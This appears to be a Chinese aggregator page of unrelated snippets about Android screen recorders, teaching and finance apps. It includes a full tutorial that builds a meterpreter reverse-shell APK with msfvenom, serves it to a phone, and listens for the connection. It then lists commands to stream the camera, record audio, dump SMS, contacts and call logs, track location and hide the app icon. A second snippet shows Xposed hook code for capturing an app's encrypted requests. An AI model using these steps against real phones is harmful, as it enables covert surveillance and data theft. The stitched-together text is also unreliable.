精华内容
下载资源
问答
  • 准备攻击机:kalilinux(192.168.1.13)靶机:安卓手机(安卓4+,部分手机会在建立连接后一段时间检测到并强制关闭)步骤先切换到root用户,输入命令将木马程序创建在/var/www/html/目录下。具体命令如下:su ...
    b579a8fb5a72ea52a80289b7acaa24d2.png

    私信回复001,获取更多干货。本文章仅供学习交流。

    准备

    攻击机:kalilinux(192.168.1.13)

    靶机:安卓手机(安卓4+,部分手机会在建立连接后一段时间检测到并强制关闭)

    步骤

    • 先切换到root用户,输入命令将木马程序创建在/var/www/html/目录下。具体命令如下:
    su rootcdmsfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.13 LPORT=4444 R > /var/www/html/HackBG.apk

    LHOST为攻击机的IP

    40e9cad941390f56d7ce016c232c82e1.png
    • 开启Apache服务,然后用手机在浏览器URL框输入“IP/刚才的木马apk”,即192.168.1.13/HackBG.apk。就可以下载木马程序了。
    2c4829e7370951fe322dba6b8862f554.png
    • 切换普通用户,开启metasploit并配置,然后开启监听。具体命令如下:
    su kalicdmsfconsoleuse /exploit/multi/handlerset payload android/meterpreter/reverse_tcpset LHOST 192.168.1.13set LPORT 4444exploit
    bb4fb8d2516efde82e47bc5e8733a569.png
    dcf05a6e5d403c2d1daee8f83265c26c.png
    • 当手机(关闭杀毒软件)点击开启木马时,就会与攻击机建立TCP连接,输入如下命令就可以开启摄像头监控。(kali在普通用户下会自动跳转到浏览器,若没跳转可以在浏览器输入返回给我们的 /home/kali/MrIPTdxq.html)
    webcam_stream
    c311b54be520267e9625bb0e811a7163.png
    3eb147443269f405fcf6156972cfaa53.png
    fcdd91c8a12a3f2a6b9d66294db8f14a.png

    更多命令

    //搜索手机上的文件search [-parameter]//搜索图片search -f *.jpg//复制文件名download [FILE NAME]//拍照webcam_snap -i 2//在线播放摄像头webcam_stream -i 2//录音,要权限 -d 录音时长record_mic -d 10//与对方视频通话webcam_chat/*浏览器要求:Chrome:23版或更新版火狐:版本22或NEWE如果目标手机没有以上浏览器返回错误。*///列出手机上的摄像头webcam_list/*常用模块 摄像头监控 -i参数指定前后置摄像头,缺省为1(后置)2(前置)*/webcam_stream -i 2// 获取手机短信,需要权限dump_sms//获取定位信息,权限geolocate //根据wlan获取定位信息,权限wlan_geolocate//获取联系人列表,要权限dump_contacts//获取通话记录,要权限dump_calllog//隐藏图标hide_app_icon//获取系统信息sysinfo//监测是否root权限check_root
    展开全文
  • 安卓教学绘图软件

    2013-07-15 00:01:16
    用于教学演示,产品展示。纯汇编编译!性能卓越体积极小。 【软件特点】 自由画屏:可以画直线、虚线、箭头、矩形、圆角矩形、正方形、圆、椭圆、文字...... 获取屏幕、屏幕缩放、提取任意一点颜色,并把十六位的...
  • 本文为看雪论坛优秀文章看雪论坛作者ID:pianpu首先和大家道歉先,由于Mac不会装jadx-gui,分析的时候显示效果有点差,请大家见谅一下。...发现软件被加固了,需要脱壳下,这里就不演示脱壳过程了。(论坛上...

    559a08bba6f798ef8f2439ddc315987c.png

    本文为看雪论坛优秀文章看雪论坛作者ID:pianpu首先和大家道歉先,由于Mac不会装jadx-gui,分析的时候显示效果有点差,请大家见谅一下。小白第一次发帖,大佬请勿喷!无聊的时候看到一款刷步数的软件,可以刷微信支付宝QQ步数。挺强哈,那我就抓包看看。发现抓包失败了。59ec5a8b67b383d94d4caf924ffa4f7f.png那么软件肯定禁止抓包了,所以我们另谋出路吧。先看看软件。发现软件被加固了,需要脱壳下,这里就不演示脱壳过程了。(论坛上有大佬分享的脱壳机,大家可以去尝试下,如fdex2反射大师)脱壳完,通过分析com包下的e4aruntime,发现这是一款E4A编写的安卓软件。

    fa92fd9b4030243921c0e0fe04ce0591.png6fada58c0ab3970075fe0c86b42780c6.png

    原谅我Mac不会装jadx-gui,暂时用mt看下代码吧。通过清单文件,我们发现在代码存储在jshare.steps下,所以我们看下主窗口的源代码:9b93d65014c2527eaffdc65da9f6e86a.png42e64caf2d4ea323bf27d863c4192c44.pngc4457d228c02f6ef9457ab5b3c615b7d.pngf700cf5dc0346602126651ae98a53407.png8107956bfc3b2cd59931bc42b1a4c2f1.png通过代码分析,我们可以很清晰的知道,确实调用了方法,禁止了抓包。而且还有sign值,且通过Apputils下的encode方法进行加密sign值后提交到服务器。而sign值是通过apputils类下的decode方法加密的传入的值为 jin.encode()+账号+密码+步数+ jin.encode(),加密的代码在so层。我也不会看so层呀。(继续看后面的操作)因为java层有传输encode(),我们可以知道这个值。而请求地址也是加密的。而且调用了其他类进行解密。我们单单分析源代码页可以解密出来。但是,今天我讲一个另类的解密。我们可以这样。因为E4A是一个封装化的软件。所有代码都是封装在e4aruntime中。所以我们只需要通过Xposed Hook神器,对这些命令进行hook,就可以知道参数和返回值啦。但是还有一个点,软件加固了,是腾讯的加固。我们需要hook到这个类加载器才可以hook这些方法成功。这里告诉大家一个技巧,如何快速找类加载器的方法,通常类加载器的方法下有system.loadlibrary命令,因为加固后都是调用so文件的。现在最新的腾讯加固类加载器在com.stub.StubApp下的attachBaseContext方法。我们通过上图,可以得知这些命令分别是开始取网页源码,开始发送网络数据4 Authcode加密我们找下方法。5b2a4fe241aac6cd9672e56b58c23e6a.pngc68dd67bfd56a0c2d94107768eae81d2.png那么我们hook这个com.e4a.runtime.加密操作和apputils的加解密方法。代码给大家贴一下。
    //hook e4a 发送网络数据4                XposedBridge.hookAllMethods(XposedHelpers.findClass("com.e4a.runtime.网络操作", classLoader),                        "发送网络数据4",                        new XC_MethodHook() {                             protected void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                  String  data = (String) param.args[0];                                String  key = (String) param.args[1];                                 Log.d("pianpu",  "=========================发送网络请求参数========================" );                                Log.d("pianpu", "data:" +data);                                Log.d("pianpu", "key:" +key);                                String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "url:" +data + "\n" + "data:" +key;                                tools.writefilebefore(path,data2,"发送网络数据4");                             }                            protected void afterHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                String result = ""+ (String) param.getResult();                                Log.d("pianpu", "result:" +result);                                String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "result:" +result ;                                tools.writefileafter(path,data2,"发送网络数据4");                            }                        });                //hook e4a 取网页源码                XposedBridge.hookAllMethods(XposedHelpers.findClass("com.e4a.runtime.网络操作", classLoader),                        "取网页源码",                        new XC_MethodHook() {                             protected void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                  String  data = (String) param.args[0];                                String  key = (String) param.args[1];                                 Log.d("pianpu",  "=========================取网页源码========================" );                                Log.d("pianpu", "data:" +data);                                Log.d("pianpu", "key:" +key);                                String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "url:" +data + "\n" + "data:" +key;                                tools.writefilebefore(path,data2,"取网页源码");                             }                            protected void afterHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                String result = ""+ (String) param.getResult();                                Log.d("pianpu", "result:" +result);                                String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "result:" +result ;                                tools.writefileafter(path,data2,"取网页源码");                            }                        });
         //e4a Authcode 加密获得的数据                XposedBridge.hookAllMethods(XposedHelpers.findClass("com.e4a.runtime.加密操作", classLoader),                        "Authcode加密",                        new XC_MethodHook() {                             protected void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                String  data = (String) param.args[0];                                String  key = (String) param.args[1];                                Log.d("pianpu",  "|=========================Authcode加密========================|" );                                Log.d("pianpu", "data:" +data);                                Log.d("pianpu", "key:" +key);                                String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "data:" +data + "\n" + "key:" +key;                                tools.writefilebefore(path,data2,"Authcode加密");                            }                            protected void afterHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                String result = ""+ (String) param.getResult();                                Log.d("pianpu", "result:" +result);                                 String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "result:" +result ;                                tools.writefileafter(path,data2,"Authcode加密");                            }                        });                 //e4a Authcode 解密获得的数据                XposedBridge.hookAllMethods(XposedHelpers.findClass("com.e4a.runtime.加密操作", classLoader),                        "Authcode解密",                        new XC_MethodHook() {                             protected void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                String  data = (String) param.args[0];                                String  key = (String) param.args[1];                                Log.d("pianpu",  "|=========================Authcode解密========================|" );                                Log.d("pianpu", "data:" +data);                                Log.d("pianpu", "key:" +key);                                String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "data:" +data + "\n" + "key:" +key;                                tools.writefilebefore(path,data2,"Authcode解密");                            }                            protected void afterHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {                                String result = ""+ (String) param.getResult();                                Log.d("pianpu", "result:" +result);                                 String path = "/sdcard/PP_Hook/"+  packagename + "/Decrypt.txt";                                String data2 = "result:" +result ;                                tools.writefileafter(path,data2,"Authcode解密");                            }                        });
    我们只需要hook这4个就行。其中无论他咋加密,我们都不需要去管他。只需要看过程和加密类型方法即可。运行后,我们可以看到已经把核心代码hook下来且输出到本地文件了。577d8fae5e24af0bbe9b79265c48cd49.png9e11e9f7deb167e421a96c0e4fc8241f.png因为我不会so层分析,所以暂时对这个sign值没方法获取加密方法。(最近正在学习frida hook so层的)。据此,sign值,我确实不知道咋加密的,但是看上去像是md5加密。刚好测试了一下,这个md5没有另外的加盐处理。嘻嘻明文的sign =Jni.encode()+账号+密码+步数+Jni.encode(),例子就是  jshare6661234561234568888jshare666。其中jshare666 是在java层传输,我们可以知道。其中的是账号密码步数。所以我们md5加密一下看看,与这个sign值一样不。d05551ac93cbddef4a7f92c3dd52a6be.png测试了一下,sign值是相同的,被我猜中了。属实是运气好,这个作者也不在so层再次加盐了,以至于被我们猜中。那么这些提交的网址数据sign我们都知道了,且加密类型密码我们都知道。就可以调用啦。可以看出,提交后返回的密文,进行了解密,再次返回一个链接,我们访问看看。a60ab9645e37526f724b2b71e8a36845.png因为我们是乱写的参数,所以自然登陆失败。c9f287d08df5309de081e3540cce05ba.pngeda5819bfcde20abf5883591a156551b.png可以看到,进行一些列网页请求后返回提示给App。至此分析完毕。小白首次发贴,大佬请勿喷!有正在研究so层的,可以一起交流学习下。d75063db84927e50d4ad2a2aaf99b3dd.gif- End -6bf44e45fa97e2c8c642aac904ac52b2.png

    看雪ID:pianpu

    https://bbs.pediy.com/user-783437.htm 

    *本文由看雪论坛 pianpu 原创,转载请注明来自看雪社区。aa8a11a45b1e2e2c406f356437f12fa9.png

    推荐文章++++

    29ce7f1cab5ccdc254f63090c4e2cfc5.png

    * 为了理解反汇编引擎而写的X86/X64反汇编引擎

    * 捆绑包驱动锁首病毒分析

    * **游戏逆向分析笔记

    * 对宝马车载apps协议的逆向分析研究

    * x86_64架构下的函数调用及栈帧原理

    好书推荐badecb9ddc936eedde52c3d109be93d7.png

    9efa7dba74936b664deab716ff79cdac.png公众号ID:ikanxue官方微博:看雪安全商务合作:wsc@kanxue.come076ea1d596b1b1d231f7f657a2f21ec.gif
    展开全文
  • AZ Screen Recorder 就是一款非常牛X,史上最屌安卓Android屏幕录像软件,不仅是免费的,不用连接电脑,而且不用ROOT,直接就可以在手机上录屏。AZ Screen Recorder 可以录制带语音的视频,也可以截图,也可以录制成...

    也许你会有这样的需求:给客户演示操作步骤。给学妹演示手机某些操作方法。那么你就必须依赖一款牛X的屏幕录像软件。

    AZ Screen Recorder 就是一款非常牛X,史上最屌安卓Android屏幕录像软件,不仅是免费的,不用连接电脑,而且不用ROOT,直接就可以在手机上录屏。

    AZ Screen Recorder 可以录制带语音的视频,也可以截图,也可以录制成GIF动画图片(专业版才能GIF图)。下面演示一段虾技派录制的视频

    操作方法非常简单:

    第一步:各大应用市场下载安装。

    第二步:打开运行AZ Screen Recorder软件。

    第三步:点击桌面左侧的悬浮图标,

    再点击视频录制图标,如下图,从上到下,分别是设置、截图、录屏、录制过的相册、退出。

    然后就会出现3秒倒计时后就开始录制了。

    不过这时,你会发现屏幕动不了,无法操作,这时必须按手机的物理返回键返回桌面,然后就可以任意操作录屏了。

    设置中心:

    事实上,AZ Screen Recorder 分为免费版与专业版(付款)两种,专业版提供了GIF动图、魔幻按钮、同时录制摄像头等几个功能。

    不过,对于一般的用户来讲,免费版已经足够好用了。

    欢迎订阅“虾技派”,专注分享好玩实用的互联网科技资讯以及APP应用。

    展开全文
  • 基于Android的图像处理演示软件介绍文档 1 为什么要做这个系统? 随着社会的发展,智能手机在学生群体中使用的越来越普遍。目前主流的移动操作系统包括安卓、IOS、Windows Phone、Symbian等等。本项目基于目前较为...

    Date:9/24/2012 9:55:33  by  armysheng    

    基于Android的图像处理演示软件介绍文档

    1        为什么要做这个系统?

    随着社会的发展,智能手机在学生群体中使用的越来越普遍。目前主流的移动操作系统包括安卓、IOS、Windows Phone、Symbian等等。本项目基于目前较为火爆的开源操作系统Android,在该平台提供一系列图像处理基础算法的演示,例如:灰度图,直方图,边缘检测等等,来使得同学们能够更加具体、生动的了解和学习图像处理的基础算法,更好的学习《数字图像处理与模式识别》这门课程,为之后开设数字图像处理在Android上的实验课目提供思路和方案。另一方面,可以锻炼学生在android平台上的编程能力,提起学生学习的兴趣!

    2        软件要求实现的功能设计

    2.1       该软件要求完成的功能主要有如下几点:

    1. 获取图像:通过摄像头或者相册获取彩色图像
    2. 将图像在手机全屏上的填充显示
    3. 设置一些按钮来实现各种图像基本图像处理方法的选择
    4. 基本图像处理算法的实现
    5. 图像处理后的保存
    6. 保存的图像在社交平台上的分享,包括:新浪微薄、人人网等目前主流社交平台

    软件的实现流程图1-1如下所示:

     

    Figure 1 Flowchart of image processing demo

     

    2.2       完成的主要图像处理算法:

    目前考虑到的需要实现的图像处理的基本算法有:

    1. 彩色图转灰度图
    2. 图像二值化(阈值可调 )
    3. 直方图均衡化
    4. 彩色直方图
    5. 一种边缘检测
    6. 图像噪声的添加
    7. 几种基础滤波算法,均值、高斯滤波
    8. 其他可加入的算法

    可考虑增加的功能:

    1. 添加几种滤镜效果
    2. 视频处理,人脸识别等功能
    3. OpenCV的移植

    2.3       图片的保存与分享

    实现将处理后的图像保存到本地。或者分享到社交网络平台主要包括新浪微博和人人网,了解相关开发API的使用。

    3        软件主要界面介绍

    3.1       初始界面:

     

    Figure 2 初始使用界面

    3.2       处理界面

     

    Figure 3 处理主界面

    3.3       分享与保存界面

     

    Figure 4 分享与保存界面

     

    ------------------------------------------------------------华丽的分割线----------------------------------------------------------------------

    好久之前做的,现在忙的代码也没写,等弄完一些琐碎的事好好弄个guide doc.

    转载于:https://www.cnblogs.com/armysheng/archive/2012/11/07/2759604.html

    展开全文
  • 雅奇小辣椒(安卓手机app开发软件)是一款操作简便、功能强大的app开发制作程序。手机app怎么开发呢?小编这里推荐使用雅奇小辣椒软件,该软件采用apps架构,可以使用该软件进行各类手机应用、手机数据库系统、录像...
  • 安卓85家庭理财软件个人记账(app)该设计有演示视频 100%能运行买重包换 保密发送 一校一份编号:安卓85语言+数据库:安卓论文字数:12674字摘要 随着社会经济的不断高速发展,人们的生活水平不断的提高,人们收入...
  • 安卓练习之——记账软件

    千次阅读 2016-11-15 12:13:08
    那么就开始代码和图演示。 如果有不足的地方,希望看到的大神给予指点建议,不胜感激!1.页面介绍:左侧侧滑菜单,实现功能还在施工,可以加一些设置之类。 首页使用ViewPager+Fragment分为两页,首页实现总账目...
  • 本项目需要软件内注册才能看到具体功能演示,登录的时候需要先注册,注册的时候随便填写要给手机号码就行,点验证码会出来一个验证码提示,直接输入验证码就行,不需要真正的验证过程。我截图比较多生怕如果万一...
  • MirrorOp Presenter是MirrorOp家族的新成员。作为流行的WiFi-Doc应用程序的继任者,MirrorOp Presenter通过包含用于显示...安装安送端和接收端软件 2.连接到接收器设备 3.启动MirrorOp Presenter应用程序并开始演示
  • IPClient监控软件是一款免费的视频监控软件软件主要用于局域网的监控,集合了...2.全新的演示点展示方式。3.设备名称、通道名称可以进行昵称备注,方便用户记忆。4.增加账号系统,一个账号下可以绑定多个设备,...
  • 如今微信的渗透度已经非常广了,上到六七十岁的老奶奶,下到10后的小学生,生活中的朋友聊家常,工作中的工作交流,都少不了见到微信的影子。...下面给大家演示一下插件的效果:教程环境:Mac OS 1...
  • 俗语说:工欲善其事必先利其器目前各安卓系统下的应用市场有很多很多推箱子软件,除了soko++推箱子软件比较好以外,其余没有...)保存答案演示答案加载关卡删除关卡更换皮肤这些功能足以秒杀安卓下应用市场的所有推...
  • 俗语说:工欲善其事必先利其器目前各安卓系统下的应用市场有很多很多推箱子软件,除了soko++推箱子软件比较好以外,其余没有...)保存答案演示答案加载关卡删除关卡更换皮肤这些功能足以秒杀安卓下应用市场的所有推...
  • 菜单软件这个案例中我们用几分钟来开发一个菜单软件,是在平板端显示和操作的,可以进行菜单添加维护完整的开发操作演示:开发的项目案例下载---可以网盘下载案例导入开发工具对应操作演示进行学习开发应用创建新...
  • PHP的搭建没什么难度我测试了一下,本来要搭建一个演示站的,可后台要对接的东西还挺多的,不对接又不能体验,还是算了吧*PC、安卓、IOS三端直播随时随地开播看播*后台可新增进场坐骑供用户购买,以及VIP、靓号,(VIP...
  • 安卓屏幕助手

    2012-09-13 22:42:23
    [size=small]随着安卓应用开发的普及,手机项目演示时很不方便。安卓屏幕助手旨在解决此问题[/size] [size=large][b]软件简介[/b][/size] [size=small]通过安卓屏幕助手,手机USB连接上电脑后,在电脑屏幕上...
  • Apowersoft安卓录屏王是一款能够将安卓手机屏幕实时投放到电脑的软件,通过现在安卓手机的Chromecast技术,可以在不...您只需保证安卓设备与电脑在同一个Wi-Fi环境中,即可立即使用本款安卓录屏软件在电脑中实时演示
  • 文章来源:芯片开放社区,作者:OCC编辑万里征途迈出第一步,基于RISC-V的安卓10系统来了。点击链接查案演示视频: 平头哥芯片开放社区(OCC)​occ.t-head.cn今天,平头哥完成了安卓10对...安卓软件栈主要包括系统内...
  • 通过软件快速访问无人值守的计算机或者是服务器,或者是分享屏幕远程演示项目,vnc远程控制都能做到。 无限距离远程控制电脑——VNC,为一种使用RFB协议的屏幕画面分享及远程操作软件。此软件借由网络,可传送键盘与...
  • 转载请注明出处干货丨软件丨工具丨技巧丨教程丨资源苹果IOS14系统已经发布一段时间了,其中最火的功能应该就是在各大视频平台上引起轩然大波的“充电提示音”,有的同学可能还不会设置,今天就给大家带来简单易懂的...
  • 这是因为在Mac中管理你的安卓手机需要通过第三方软件,下面我给大家演示如何在mac电脑上连接管理安卓Android手机。一、下载HANDSHAKER FOR MAC首先第一步要下载第三方软件handshaker for mac在Mac的AppSto...
  • 为做到这一点,恶意软件可以检查自己代码是否被设置了断点,或者直接通过系统调用来检测调试器目录:Java层反调试的原理介绍以百度加固实例演示java层反调试绕过java层反调试的方法Java层反调试...
  • 点击蓝字关注我们安卓手机Miracast镜像安卓手机Miracast镜像可谓刚需,这种镜像方式的一大优点就是手机端不用再另装其他软件,电视端有“爱投屏”即可流畅使用。步骤如下:1)电视和手机连接同一无线网络因为某些电视...
  • 为啥我要做这个东西了,是因为经常要用投影演示app ,现在有很多这样的软件可以把手机界面投到电脑上 ,但都要安装,比如说360的手机助手,我又讨厌安装,于是就自己捣鼓了下 做了这个东西,  实现了以下简单功能 ...
  • 随着安卓应用开发的普及,手机项目演示时很不方便。安卓屏幕助手旨在解决此问题 软件简介 通过安卓屏幕助手,手机USB连接上电脑后,在电脑屏幕上同步显示手机的屏幕画面。 功能列表 实时同步显示手机屏幕...
  • 用Ranorex进行安卓IOS自动化测试

    千次阅读 2015-11-11 16:00:30
    Ranorex是一个可以媲美QTP的自动化测试软件,比QTP更强的是,还可以测试IOS、安卓的手机APP。下面演示一下如何添加手机设备来测试(IOS安卓真机和安卓模拟器都可以)。
  • 安卓开发第一课

    2020-09-14 23:36:28
    Android stidio开发软件的使用,更能理解系统的具体化,在虚拟机上进行演示操作。 1.安装软件的确有些坎坷 2.基础知识确实需要自己看 3.继续努力
  • 实现蓝牙vs安卓开发

    2012-05-07 11:40:00
    但是我们在进行android开发的时候这种方法是不支持的,所以我就来演示一下关于蓝牙安卓软件开用发第三方.NET组件(inthehand)来将其实现。 接下来我们初始化核心代码,作为客户端的pc机它需要...

空空如也

空空如也

1 2 3 4 5 ... 9
收藏数 167
精华内容 66
关键字:

安卓演示软件